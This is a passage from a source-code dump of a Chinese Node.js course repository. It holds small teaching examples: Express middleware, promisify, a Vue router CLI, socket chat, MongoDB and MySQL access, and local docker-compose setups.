17 | // process.fail();
18 | // }
19 | // else {
20 | // process.succeed();
21 | // }
22 | // });
23 | }
24 |
--------------------------------------------------------------------------------
/node/01/api/img.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/01/api/img.png
--------------------------------------------------------------------------------
/node/01/api/img2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/01/api/img2.png
--------------------------------------------------------------------------------
/node/01/api/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Document
8 |
9 |
10 | Hello ..
11 |
12 |
13 |
--------------------------------------------------------------------------------
/node/01/promise/promisify.js:
--------------------------------------------------------------------------------
1 | module.exports = function promisify(fn) {
2 | return function (...args) {
3 | return new Promise(function (resolve,reject) {
4 | args.push(function (err,...arg) {
5 | if(err){
6 | reject(err)
7 | }else{
8 | resolve(...arg);
9 | }
10 | });
11 | fn.apply(null, args);
12 | })
13 | }
14 | }
--------------------------------------------------------------------------------
/node/01/spawn-cross-platform/__tests__/index.spec.js:
--------------------------------------------------------------------------------
1 |
2 | describe('Spawn 多平台兼容性', () => {
3 | test('原生spwan', async () => {
4 | const { syncSpawn } = require('../index')
5 | const ret = await syncSpawn('node', ['-v'], { cwd: __dirname })
6 | expect(ret).toContain(process.version)
7 | })
8 |
9 | test('跨平台spawn库', () => {
10 | const spawn = require('cross-spawn');
11 | const ret = spawn.sync('node', ['-v'], { cwd: __dirname });
12 | expect(ret.stdout.toString()).toContain(process.version)
13 | })
14 | })
--------------------------------------------------------------------------------
/node/01/vue-auto-router-cli/bin/kkb.js:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env node
2 | import program from "commander";
3 | import init from "../lib/init.js";
4 | import refresh from "../lib/refresh.js";
5 | import serve from "../lib/serve.js";
6 |
7 | program.command("init ").description("init project").action(init);
8 |
9 | program.command("refresh").description("refresh routers...").action(refresh);
10 |
11 | program.command("serve").description("serve routers...").action(serve);
12 |
13 | program.parse(process.argv);
14 |
--------------------------------------------------------------------------------
/node/01/vue-auto-router-cli/lib/download.js:
--------------------------------------------------------------------------------
1 | import { promisify } from "util";
2 | import download_git_repo from "download-git-repo";
3 | import ora from 'ora'
4 | export default async function (repo, desc) {
5 | const download = promisify(download_git_repo);
6 | const process = ora(`下载.....${repo}`);
7 | process.start();
8 | try {
9 | await download(repo, desc);
10 |
11 | } catch (error) {
12 | console.log('err',error)
13 | process.fail()
14 | }
15 | process.succeed();
16 | };
17 |
--------------------------------------------------------------------------------
/node/01/vue-auto-router-cli/lib/serve.js:
--------------------------------------------------------------------------------
1 | import { spawn } from "child_process";
2 | import refresh from "./refresh.js";
3 | import watch from "watch";
4 |
5 | const AsyncSpawn = (...args) => {
6 | const proc = spawn(...args);
7 | proc.stdout.pipe(process.stdout);
8 | proc.stderr.pipe(process.stderr);
9 | return proc;
10 | };
11 |
12 | export default async () => {
13 | let process;
14 | let isRefresh = false;
15 | watch.watchTree("./src", async (f) => {
16 | console.log("change...", f);
17 | if (!isRefresh) {
18 | isRefresh = true;
19 | process && process.kill();
20 | await refresh();
21 | setTimeout(() => {
22 | isRefresh = false;
23 | }, 5000);
24 | process = spawn("npm", ["run", "serve"]);
25 | }
26 | });
27 | };
28 |
--------------------------------------------------------------------------------
/node/01/vue-auto-router-cli/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "cli",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "type": "module",
7 | "bin": {
8 | "kkb": "./bin/kkb.js"
9 | },
10 | "scripts": {
11 | "test": "echo \"Error: no test specified\" && exit 1"
12 | },
13 | "keywords": [],
14 | "author": "",
15 | "license": "ISC",
16 | "dependencies": {
17 | "chalk": "^5.0.0",
18 | "clear": "^0.1.0",
19 | "commander": "^8.3.0",
20 | "download-git-repo": "^3.0.2",
21 | "figlet": "^1.5.2",
22 | "handlebars": "^4.7.7",
23 | "open": "^8.4.0",
24 | "ora": "^6.0.1",
25 | "watch": "^1.0.2"
26 | }
27 | }
28 |
--------------------------------------------------------------------------------
/node/01/vue-auto-router-cli/publish.sh:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 | npm config get registry # 检查仓库镜像库
3 | npm config set registry=http://registry.npmjs.org
4 | echo '请进行登录相关操作:'
5 | npm login # 登陆
6 | echo "-------publishing-------"
7 | npm publish # 发布
8 | npm config set registry=https://registry.npm.taobao.org # 设置为淘宝镜像
9 | echo "发布完成"
10 | exit
--------------------------------------------------------------------------------
/node/02/express/index.js:
--------------------------------------------------------------------------------
1 | const express = require('express')
2 | const app = express()
3 | app.listen(3000)
4 | const mid1 = (req, res, next) => {
5 | console.log(1)
6 | res.write('a')
7 | next()
8 | res.end()
9 | console.log(2)
10 | }
11 | const mid2 = (req, res, next) => {
12 | console.log(3)
13 | res.write('b')
14 | next()
15 | res.write('d')
16 | console.log(4)
17 | }
18 | const mid3 = (req, res, next) => {
19 | console.log(5)
20 | next()
21 | res.write('c')
22 | console.log(6)
23 | }
24 | app.use(mid1)
25 | app.use(mid2)
26 | app.use(mid3)
--------------------------------------------------------------------------------
/node/02/sample/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Document
8 |
9 |
10 | 1ag
11 |
12 |
--------------------------------------------------------------------------------
/node/02/source/context.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | get url() {
3 | return this.request.url
4 | },
5 | get body() {
6 | return this.response.body
7 | },
8 | set body(val){
9 | this.response.body = val
10 | },
11 | get method() {
12 | return this.request.method
13 | }
14 | }
--------------------------------------------------------------------------------
/node/02/source/public/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Document
8 |
9 |
10 | 我写了一个KKB
11 |
12 |
--------------------------------------------------------------------------------
/node/02/source/request.js:
--------------------------------------------------------------------------------
1 | module.exports ={
2 | get url(){
3 | return this.req.url
4 | },
5 |
6 | get method(){
7 | return this.req.method.toLowerCase()
8 | }
9 | }
--------------------------------------------------------------------------------
/node/02/source/response.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | get body(){
3 | return this._body
4 | },
5 | set body(val){
6 | this._body = val
7 | }
8 | }
9 |
10 |
--------------------------------------------------------------------------------
/node/02/source/test-gettter-setter.js:
--------------------------------------------------------------------------------
1 | const kaikeba = {
2 | info:{name : '开课吧',desc:'开课吧真不错'},
3 | get name(){
4 | return this.info.name
5 | },
6 | set name(val){
7 | console.log('new name is '+ val)
8 | this.info.name = val + 'ggg'
9 | }
10 | }
11 |
12 | console.log(kaikeba.name)
13 | kaikeba.name = 'kaikeba'
14 | console.log(kaikeba.name)
--------------------------------------------------------------------------------
/node/03/bodyparser/index.html:
--------------------------------------------------------------------------------
1 |
5 |
--------------------------------------------------------------------------------
/node/03/download/file.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/03/download/file.pdf
--------------------------------------------------------------------------------
/node/03/download/index.html:
--------------------------------------------------------------------------------
1 |
2 | download
3 |
--------------------------------------------------------------------------------
/node/03/download/index.js:
--------------------------------------------------------------------------------
1 | // http.js
2 | const http = require("http");
3 | const fs = require("fs");
4 |
5 | const app = http
6 | .createServer((req, res) => {
7 | const { method, url } = req;
8 | if (method == "GET" && url == "/") {
9 | fs.readFile("./index.html", (err, data) => {
10 | res.setHeader("Content-Type", "text/html");
11 | res.end(data);
12 | });
13 |
14 | } else if (method === "GET" && url === "/api/download") {
15 | fs.readFile("./file.pdf", (err, data) => {
16 | res.setHeader("Content-Type", "application/pdf");
17 | const fileName = encodeURI('中文')
18 | res.setHeader('Content-Disposition' ,`attachment; filename="${fileName}.pdf"`)
19 | res.end(data);
20 | });
21 |
22 | }
23 |
24 |
25 | })
26 | // module.exports = app
27 | app.listen(3000)
--------------------------------------------------------------------------------
/node/03/http/dist/index.html:
--------------------------------------------------------------------------------
1 |
2 |
10 | AAA
--------------------------------------------------------------------------------
/node/03/http/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.1'
2 | services:
3 | nginx:
4 | restart: always
5 | image: nginx
6 | ports:
7 | - 80:80
8 | volumes:
9 | - ./nginx/conf.d/:/etc/nginx/conf.d
10 | - ./:/var/www/html/
--------------------------------------------------------------------------------
/node/03/http/front-end/.gitignore:
--------------------------------------------------------------------------------
1 | .DS_Store
2 | node_modules
3 | /dist
4 |
5 | # local env files
6 | .env.local
7 | .env.*.local
8 |
9 | # Log files
10 | npm-debug.log*
11 | yarn-debug.log*
12 | yarn-error.log*
13 |
14 | # Editor directories and files
15 | .idea
16 | .vscode
17 | *.suo
18 | *.ntvs*
19 | *.njsproj
20 | *.sln
21 | *.sw?
22 |
--------------------------------------------------------------------------------
/node/03/http/front-end/README.md:
--------------------------------------------------------------------------------
1 | # front-end
2 |
3 | ## Project setup
4 | ```
5 | npm install
6 | ```
7 |
8 | ### Compiles and hot-reloads for development
9 | ```
10 | npm run serve
11 | ```
12 |
13 | ### Compiles and minifies for production
14 | ```
15 | npm run build
16 | ```
17 |
18 | ### Run your tests
19 | ```
20 | npm run test
21 | ```
22 |
23 | ### Lints and fixes files
24 | ```
25 | npm run lint
26 | ```
27 |
28 | ### Customize configuration
29 | See [Configuration Reference](https://cli.vuejs.org/config/).
30 |
--------------------------------------------------------------------------------
/node/03/http/front-end/babel.config.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | presets: [
3 | '@vue/app'
4 | ]
5 | }
6 |
--------------------------------------------------------------------------------
/node/03/http/front-end/public/favicon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/03/http/front-end/public/favicon.ico
--------------------------------------------------------------------------------
/node/03/http/front-end/public/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 | front-end
9 |
10 |
11 |
14 |
15 |
16 |
17 |
18 |
--------------------------------------------------------------------------------
/node/03/http/front-end/src/App.vue:
--------------------------------------------------------------------------------
1 |
2 |
3 |

4 |
5 |
6 |
7 |
8 |
18 |
19 |
29 |
--------------------------------------------------------------------------------
/node/03/http/front-end/src/assets/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/03/http/front-end/src/assets/logo.png
--------------------------------------------------------------------------------
/node/03/http/front-end/src/main.js:
--------------------------------------------------------------------------------
1 | import Vue from 'vue'
2 | import App from './App.vue'
3 |
4 | Vue.config.productionTip = false
5 |
6 | new Vue({
7 | render: h => h(App),
8 | }).$mount('#app')
9 |
--------------------------------------------------------------------------------
/node/03/http/front-end/vue.config.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | css: {
3 | loaderOptions: {
4 | stylus: {
5 | 'resolve url': true,
6 | 'import': [
7 | './src/theme'
8 | ]
9 | }
10 | }
11 | },
12 | pluginOptions: {
13 | 'cube-ui': {
14 | postCompile: true,
15 | theme: true
16 | }
17 | },
18 |
19 | devServer: {
20 | disableHostCheck: true,
21 | compress: true,
22 | port: 5000,
23 | proxy: {
24 | '/api/': {
25 | target: 'http://localhost:4000',
26 | changeOrigin: true,
27 | //pathRewrite: {
28 | // '^/api': ''
29 | //}
30 | },
31 |
32 | },
33 | // historyApiFallback: {
34 | // index: url.parse(options.dev ? '/assets/' : publicPath).pathname
35 | // },
36 |
37 | overlay: {
38 | errors: true, // 编译出现错误时,错误直接贴到页面上
39 | },
40 | quiet: true, // 不显示 devServer 的 Console 信息,让 FriendlyErrorsWebpackPlugin 取而代之
41 | },
42 | }
--------------------------------------------------------------------------------
/node/03/http/index.js:
--------------------------------------------------------------------------------
1 | const api = require('./api')
2 | const proxy = require('./proxy')
3 | api.listen(4000)
4 | proxy.listen(3000)
--------------------------------------------------------------------------------
/node/03/http/nginx/conf.d/default.conf:
--------------------------------------------------------------------------------
1 | server {
2 | listen 80;
3 | # server_name www.josephxia.com;
4 | location / {
5 | root /var/www/html;
6 | index index.html index.htm;
7 | try_files $uri $uri/ /index.html;
8 | }
9 |
10 | location /api {
11 | proxy_pass http://127.0.0.1:3000;
12 | proxy_redirect off;
13 | proxy_set_header Host $host;
14 | proxy_set_header X-Real-IP $remote_addr;
15 | proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
16 | }
17 | }
--------------------------------------------------------------------------------
/node/03/http/proxy.js:
--------------------------------------------------------------------------------
1 | var express = require('express');
2 | const proxy = require('http-proxy-middleware')
3 |
4 | const app = express()
5 | app.use(express.static(__dirname + '/'))
6 | app.use('/api', proxy({ target: 'http://localhost:4000', changeOrigin: false }));
7 | module.exports = app
--------------------------------------------------------------------------------
/node/03/im/http/index.js:
--------------------------------------------------------------------------------
1 | const express = require('express')
2 | const app = express()
3 | const bodyParser = require('body-parser');
4 | const path = require('path')
5 |
6 | app.use(bodyParser.json());
7 |
8 | const list = ['ccc', 'ddd']
9 |
10 | app.get('/', (req,res)=>{
11 | res.sendFile(path.resolve('./index.html'))
12 | })
13 |
14 | app.get('/list', (req, res) => {
15 | res.end(JSON.stringify(list))
16 | })
17 |
18 | app.post('/send', (req, res) => {
19 | list.push(req.body.message)
20 | res.end(JSON.stringify(list))
21 | })
22 |
23 | app.post('/clear', (req, res) => {
24 | list.length = 0
25 | res.end(JSON.stringify(list))
26 | })
27 |
28 | app.listen(3000);
--------------------------------------------------------------------------------
/node/03/im/socket.js:
--------------------------------------------------------------------------------
1 | const net = require('net')
2 | const chatServer = net.createServer()
3 | const clientList = []
4 | chatServer.on('connection',client => {
5 | client.write('Hi!\n')
6 | clientList.push(client)
7 | client.on('data',data => {
8 | console.log('receive:',data.toString())
9 | clientList.forEach(v => {
10 | v.write(data)
11 | })
12 | })
13 | })
14 | chatServer.listen(9000)
--------------------------------------------------------------------------------
/node/03/im/socketio/index.js:
--------------------------------------------------------------------------------
1 | var app = require('express')();
2 | var http = require('http').Server(app);
3 | var io = require('socket.io')(http);
4 |
5 | app.get('/', function(req, res){
6 | res.sendFile(__dirname + '/index.html');
7 | });
8 |
9 | io.on('connection', function(socket){
10 | console.log('a user connected');
11 |
12 | //响应某用户发送消息
13 | socket.on('chat message', function(msg){
14 | console.log('chat message:' + msg);
15 |
16 | // 广播给所有人
17 | io.emit('chat message', msg);
18 | // 广播给除了发送者外所有人
19 | // socket.broadcast.emit('chat message', msg)
20 | });
21 |
22 | socket.on('disconnect', function(){
23 | console.log('user disconnected');
24 | });
25 | });
26 |
27 | http.listen(3000, function(){
28 | console.log('listening on *:3000');
29 | });
--------------------------------------------------------------------------------
/node/03/spider/index.js:
--------------------------------------------------------------------------------
1 | const originRequest = require("request");
2 | const cheerio = require("cheerio");
3 | const iconv = require("iconv-lite");
4 |
5 | function request(url, callback) {
6 | const options = {
7 | url: url,
8 | encoding: null
9 | };
10 | originRequest(url, options, callback);
11 | }
12 |
13 | for (let i = 100553; i < 100563; i++) {
14 | const url = `https://www.dy2018.com/i/${i}.html`;
15 | request(url, function (err, res, body) {
16 | const html = iconv.decode(body, "gb2312");
17 | const $ = cheerio.load(html);
18 | console.log($(".title_all h1").text());
19 | });
20 | }
--------------------------------------------------------------------------------
/node/03/terminal/.gitignore:
--------------------------------------------------------------------------------
1 | dist/
--------------------------------------------------------------------------------
/node/03/terminal/README.md:
--------------------------------------------------------------------------------
1 | # 界面简单试验环境
2 |
3 | 前后端通用入口
4 |
5 | ## 调试
6 | Start dev server:
7 | npm run dev
8 |
9 | ## 启动
10 | npm start
11 |
12 |
13 | ## 功能
14 | - 调用lib/api中的方法
15 | - 直接执行终端命令 大家可以用ls试验一下
--------------------------------------------------------------------------------
/node/03/terminal/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 | react-console
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
20 |
21 |
--------------------------------------------------------------------------------
/node/03/terminal/src/support/noop.js:
--------------------------------------------------------------------------------
1 | module.exports = function () { return function () {}; };
--------------------------------------------------------------------------------
/node/03/terminal/tsconfig.json:
--------------------------------------------------------------------------------
1 | {
2 | "compilerOptions": {
3 | "noImplicitAny": true,
4 | "declaration": false,
5 | "sourceMap": true,
6 | "module": "commonjs",
7 | "target": "es5",
8 | "jsx": "react"
9 | }
10 | }
11 |
--------------------------------------------------------------------------------
/node/03/terminal/typings.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "react-console",
3 | "dependencies": {},
4 | "globalDevDependencies": {
5 | "react": "registry:dt/react#0.14.0+20160630100702",
6 | "react-dom": "registry:dt/react-dom#0.14.0+20160412154040"
7 | },
8 | "globalDependencies": {
9 | "socket.io-client": "registry:dt/socket.io-client#1.4.4+20161116080703"
10 | }
11 | }
12 |
--------------------------------------------------------------------------------
/node/03/terminal/typings/globals/react-dom/typings.json:
--------------------------------------------------------------------------------
1 | {
2 | "resolution": "main",
3 | "tree": {
4 | "src": "https://raw.githubusercontent.com/DefinitelyTyped/DefinitelyTyped/b9642fb8ac07f7164dc643ddd1fa99b58ae9be8b/react/react-dom.d.ts",
5 | "raw": "registry:dt/react-dom#0.14.0+20160412154040",
6 | "typings": "https://raw.githubusercontent.com/DefinitelyTyped/DefinitelyTyped/b9642fb8ac07f7164dc643ddd1fa99b58ae9be8b/react/react-dom.d.ts"
7 | }
8 | }
9 |
--------------------------------------------------------------------------------
/node/03/terminal/typings/globals/react/typings.json:
--------------------------------------------------------------------------------
1 | {
2 | "resolution": "main",
3 | "tree": {
4 | "src": "https://raw.githubusercontent.com/DefinitelyTyped/DefinitelyTyped/402097684899fb9ff125e85638cc14499bb6e0a3/react/react.d.ts",
5 | "raw": "registry:dt/react#0.14.0+20160630100702",
6 | "typings": "https://raw.githubusercontent.com/DefinitelyTyped/DefinitelyTyped/402097684899fb9ff125e85638cc14499bb6e0a3/react/react.d.ts"
7 | }
8 | }
9 |
--------------------------------------------------------------------------------
/node/03/terminal/typings/globals/socket.io-client/typings.json:
--------------------------------------------------------------------------------
1 | {
2 | "resolution": "main",
3 | "tree": {
4 | "src": "https://raw.githubusercontent.com/DefinitelyTyped/DefinitelyTyped/8a087da260f4d46ab13450cf531417b940c11797/socket.io-client/index.d.ts",
5 | "raw": "registry:dt/socket.io-client#1.4.4+20161116080703",
6 | "typings": "https://raw.githubusercontent.com/DefinitelyTyped/DefinitelyTyped/8a087da260f4d46ab13450cf531417b940c11797/socket.io-client/index.d.ts"
7 | }
8 | }
9 |
--------------------------------------------------------------------------------
/node/03/terminal/typings/index.d.ts:
--------------------------------------------------------------------------------
1 | ///
2 | ///
3 | ///
4 |
--------------------------------------------------------------------------------
/node/03/trunk-upload/.gitignore:
--------------------------------------------------------------------------------
1 | /node_modules
2 | /upload/*
3 | .idea/
4 |
--------------------------------------------------------------------------------
/node/03/trunk-upload/README.md:
--------------------------------------------------------------------------------
1 | # uploadDemo
2 | ### npm install
3 | ### node server.js
4 | ### 访问地址http://localhost:3000/assert/index.html
5 |
--------------------------------------------------------------------------------
/node/03/trunk-upload/assert/css/webuploader.css:
--------------------------------------------------------------------------------
1 | .webuploader-container {
2 | position: relative;
3 | }
4 | .webuploader-element-invisible {
5 | position: absolute !important;
6 | clip: rect(1px 1px 1px 1px); /* IE6, IE7 */
7 | clip: rect(1px,1px,1px,1px);
8 | }
9 | .webuploader-pick {
10 | position: relative;
11 | display: inline-block;
12 | cursor: pointer;
13 | background: #00b7ee;
14 | padding: 10px 15px;
15 | color: #fff;
16 | text-align: center;
17 | border-radius: 3px;
18 | overflow: hidden;
19 | }
20 | .webuploader-pick-hover {
21 | background: #00a2d4;
22 | }
23 |
24 | .webuploader-pick-disable {
25 | opacity: 0.6;
26 | pointer-events:none;
27 | }
28 |
29 |
--------------------------------------------------------------------------------
/node/03/trunk-upload/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "dependencies": {
3 | "body-parser": "^1.18.3",
4 | "connect-multiparty": "^2.1.1",
5 | "express": "^4.16.3",
6 | "express-fileupload": "^0.4.0",
7 | "md5": "^2.2.1"
8 | },
9 | "devDependencies": {
10 | "pm2": "^3.0.4"
11 | }
12 | }
13 |
--------------------------------------------------------------------------------
/node/04/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.1'
2 | services:
3 | mongo:
4 | image: mongo
5 | restart: always
6 | ports:
7 | - 27017:27017
8 | mongo-express:
9 | image: mongo-express
10 | restart: always
11 | ports:
12 | - 8081:8081
13 | mysql:
14 | image: mysql
15 | command: --default-authentication-plugin=mysql_native_password
16 | restart: always
17 | environment:
18 | MYSQL_ROOT_PASSWORD: example
19 | ports:
20 | - 3306:3306
21 | adminer:
22 | image: adminer
23 | restart: always
24 | ports:
25 | - 8080:8080
26 | redis:
27 | image: redis
28 | ports:
29 | - "6379:6379"
30 |
--------------------------------------------------------------------------------
/node/04/mongo/cart/index.js:
--------------------------------------------------------------------------------
1 | const express = require('express')
2 | const app = express()
3 | const path = require('path')
4 | const mongo = require('./')
--------------------------------------------------------------------------------
/node/04/mongo/cart/models/user.js:
--------------------------------------------------------------------------------
1 | const mongoose = require("mongoose");
2 |
3 | const schema = mongoose.Schema({
4 | name: String,
5 | password: String,
6 | cart: []
7 | });
8 |
9 | schema.statics.getCart = function(_id) {
10 | return this.model("user")
11 | .findById(_id)
12 | .exec();
13 | };
14 |
15 | schema.statics.setCart = function(_id, cart) {
16 | return this.model("user")
17 | .findByIdAndUpdate(_id, { $set: { cart } })
18 | .exec();
19 | };
20 |
21 | const model = mongoose.model("user", schema);
22 |
23 | // 测试数据
24 | model.updateOne(
25 | { _id: "5c1a2dce951e9160f0d8573b" },
26 | { name: "jerry", cart: [{ pname: "iPhone", price: 666, count: 1 }] },
27 | { upsert: true },
28 | (err, r) => {
29 | console.log('测试数据');
30 | console.log(err, r);
31 | }
32 | );
33 |
34 | module.exports = model;
--------------------------------------------------------------------------------
/node/04/mongo/cart/mongoose.js:
--------------------------------------------------------------------------------
1 | // mongoose.js
2 | const mongoose = require("mongoose");
3 | // 1.连接
4 | mongoose.connect("mongodb://localhost:27017/test", { useNewUrlParser: true });
5 | const conn = mongoose.connection;
6 | conn.on("error", () => console.error("连接数据库失败"));
7 |
--------------------------------------------------------------------------------
/node/04/mongo/eventEmitter.js:
--------------------------------------------------------------------------------
1 | const EventEmitter = require('events').EventEmitter;
2 | const event = new EventEmitter();
3 | event.on('some_event', num => {
4 | console.log('some_event 事件触发:'+num);
5 | });
6 | let num = 0
7 | setInterval(() => {
8 | event.emit('some_event' , num ++ );
9 | }, 1000);
10 |
--------------------------------------------------------------------------------
/node/04/mongo/market/index.js:
--------------------------------------------------------------------------------
1 | const express = require('express')
2 | const app = express()
3 | const path = require('path')
4 | const mongo = require('./models/db')
5 | // const testdata = require('./models/testdata')
6 |
7 | app.get('/', (req, res) => {
8 | res.sendFile(path.resolve('./index.html'))
9 | })
10 |
11 | app.get('/api/list', async (req, res) => {
12 | const page = + req.query.page
13 | const col = mongo.col('fruits')
14 | const total = await col.find().count()
15 | const fruits = await col
16 | .find()
17 | .skip((page - 1) * 5)
18 | .limit(5)
19 | .toArray()
20 |
21 | res.json({
22 | ok: 1,
23 | data: {
24 | fruits, pagination: {
25 | total, page
26 | }
27 | }
28 | })
29 | })
30 |
31 |
32 | app.listen(3000)
--------------------------------------------------------------------------------
/node/04/mongo/market/models/conf.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | url: "mongodb://localhost:27017",
3 | dbName: 'test',
4 | }
--------------------------------------------------------------------------------
/node/04/mongo/market/models/db.js:
--------------------------------------------------------------------------------
1 | const conf = require("./conf");
2 | const EventEmitter = require("events").EventEmitter;
3 |
4 | // 客户端
5 | const MongoClient = require("mongodb").MongoClient;
6 |
7 | class Mongodb {
8 | constructor(conf) {
9 | // 保存conf
10 | this.conf=conf;
11 |
12 | this.emmiter = new EventEmitter();
13 | // 连接
14 | this.client = new MongoClient(conf.url, { useNewUrlParser: true });
15 | this.client.connect(err => {
16 | if (err) throw err;
17 | console.log("连接成功");
18 | this.emmiter.emit("connect");
19 | });
20 | }
21 |
22 | col(colName, dbName = conf.dbName) {
23 | return this.client.db(dbName).collection(colName);
24 | }
25 |
26 | once(event, cb) {
27 | this.emmiter.once(event, cb);
28 | }
29 | }
30 |
31 | // 2.导出db
32 | module.exports = new Mongodb(conf);
--------------------------------------------------------------------------------
/node/04/mongo/mongo.js:
--------------------------------------------------------------------------------
1 |
2 | (async () => {
3 | const { MongoClient: MongoDB } = require('mongodb')
4 |
5 | // 创建客户端
6 | const client = new MongoDB(
7 | 'mongodb://localhost:27017',
8 | {
9 | userNewUrlParser: true
10 | }
11 | )
12 | let ret
13 | // 创建连接
14 | ret = await client.connect()
15 | console.log('ret:', ret)
16 | const db = client.db('test')
17 | const fruits = db.collection('fruits')
18 |
19 | // 添加文档
20 | ret = await fruits.insertOne({
21 | name: '芒果',
22 | price: 20.1
23 | })
24 | console.log('插入成功', JSON.stringify(ret))
25 |
26 | // 查询文档
27 | ret = await fruits.findOne()
28 | console.log('查询文档:', ret)
29 |
30 | // 更新文档
31 | ret = await fruits.updateOne({ name: '芒果' },
32 | { $set: { name: '苹果' } })
33 | console.log('更新文档', JSON.stringify(ret.result))
34 |
35 | // 删除文档
36 | ret = await fruits.deleteOne({name: '苹果'})
37 |
38 | await fruits.deleteMany()
39 |
40 | client.close()
41 |
42 | })()
43 |
--------------------------------------------------------------------------------
/node/04/mysql/.gitignore:
--------------------------------------------------------------------------------
1 | db.json
2 |
--------------------------------------------------------------------------------
/node/04/mysql/transaction/rollback/index.js:
--------------------------------------------------------------------------------
1 | module.exports = async (pool,isAutoCommit) => {
2 | const conn = await pool.getConnection()
3 |
4 | // 开启事务
5 | isAutoCommit && await conn.beginTransaction()
6 | try {
7 | // 操作表A
8 | let res = await conn.query(`
9 | INSERT INTO accountA (amount) VALUES (1)
10 | `)
11 |
12 | // 人为制造异常
13 | res = await conn.query(`
14 | KKB
15 | `)
16 |
17 | // 操作表B
18 | res = await conn.query(`
19 | INSERT INTO accountB (amount) VALUES (1)
20 | `)
21 | // console.log('INSERT ACCOUNT B ', res)
22 |
23 | isAutoCommit && await conn.commit()
24 | } catch (error) {
25 | // console.log('发生error...', error)
26 | await conn.rollback()
27 | }
28 | conn.release()
29 | }
30 |
31 |
--------------------------------------------------------------------------------
/node/04/mysql/transaction/rollback/initDB.txt:
--------------------------------------------------------------------------------
1 | CREATE TABLE IF NOT EXISTS accountB (
2 | id INT NOT NULL AUTO_INCREMENT,
3 | amount INT NULL,
4 | PRIMARY KEY (id)
5 | );
6 |
7 | CREATE TABLE IF NOT EXISTS accountA (
8 | id INT NOT NULL AUTO_INCREMENT,
9 | amount INT NULL,
10 | PRIMARY KEY (id)
11 | );
--------------------------------------------------------------------------------
/node/04/shop/backend/README.md:
--------------------------------------------------------------------------------
1 | #SHOPPING CART WITH SEQUELIZE(MYSQL)
2 |
3 |
4 | Shopping Cart made in nodejs, expressjs and ejs
5 |
6 | Create a .env file in te root directory with the following environment variables set:
7 | DB_USER
8 | DB_Database
9 | DB_PWD
10 |
11 |
12 | To install, first run:
13 | npm install
14 |
15 | The entry point of the app is app.js
16 |
17 | The app can be ran by calling:
18 | npm start
19 |
20 | which alternatively calls:
21 | nodemon app.js
22 |
--------------------------------------------------------------------------------
/node/04/shop/backend/data/cart.json:
--------------------------------------------------------------------------------
1 | {"products":[],"totalPrice":0}
--------------------------------------------------------------------------------
/node/04/shop/backend/data/products.json:
--------------------------------------------------------------------------------
1 | [
2 | {
3 | "id": "8QngKP18c",
4 | "title": "Fixing international domains",
5 | "imageUrl": "https://www.listchallenges.com/f/lists/7c6a48ca-d523-409e-ad51-5e652ee208ed.jpg",
6 | "description": "pok",
7 | "price": "77"
8 | },
9 | {
10 | "id": "gNoFUbWka",
11 | "title": "Optimizing get open-identities call",
12 | "imageUrl": "https://www.listchallenges.com/f/lists/7c6a48ca-d523-409e-ad51-5e652ee208ed.jpg",
13 | "description": "wes",
14 | "price": "96"
15 | }
16 | ]
--------------------------------------------------------------------------------
/node/04/shop/backend/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.1'
2 | services:
3 | mysql:
4 | image: mysql
5 | command: --default-authentication-plugin=mysql_native_password
6 | restart: always
7 | environment:
8 | MYSQL_ROOT_PASSWORD: example
9 | ports:
10 | - 3306:3306
11 | adminer:
12 | image: adminer
13 | restart: always
14 | ports:
15 | - 8080:8080
16 |
--------------------------------------------------------------------------------
/node/04/shop/backend/models/cart-item.js:
--------------------------------------------------------------------------------
1 | const Sequelize = require('sequelize');
2 | const sequelize = require('../util/database');
3 |
4 | const CartItem = sequelize.define('cartItem', {
5 | id: {
6 | type: Sequelize.INTEGER,
7 | autoIncrement: true,
8 | allowNull: false,
9 | primaryKey: true
10 | },
11 | quantity: Sequelize.INTEGER
12 | });
13 |
14 | module.exports = CartItem;
--------------------------------------------------------------------------------
/node/04/shop/backend/models/cart.js:
--------------------------------------------------------------------------------
1 | const Sequelize = require('sequelize');
2 | const sequelize = require('../util/database');
3 |
4 | const Cart = sequelize.define('cart', {
5 | id: {
6 | type: Sequelize.INTEGER,
7 | autoIncrement: true,
8 | primaryKey: true,
9 | allowNull: false
10 | }
11 | });
12 |
13 | module.exports = Cart;
--------------------------------------------------------------------------------
/node/04/shop/backend/models/order-item.js:
--------------------------------------------------------------------------------
1 | const Sequelize = require('sequelize');
2 | const sequelize = require('../util/database');
3 |
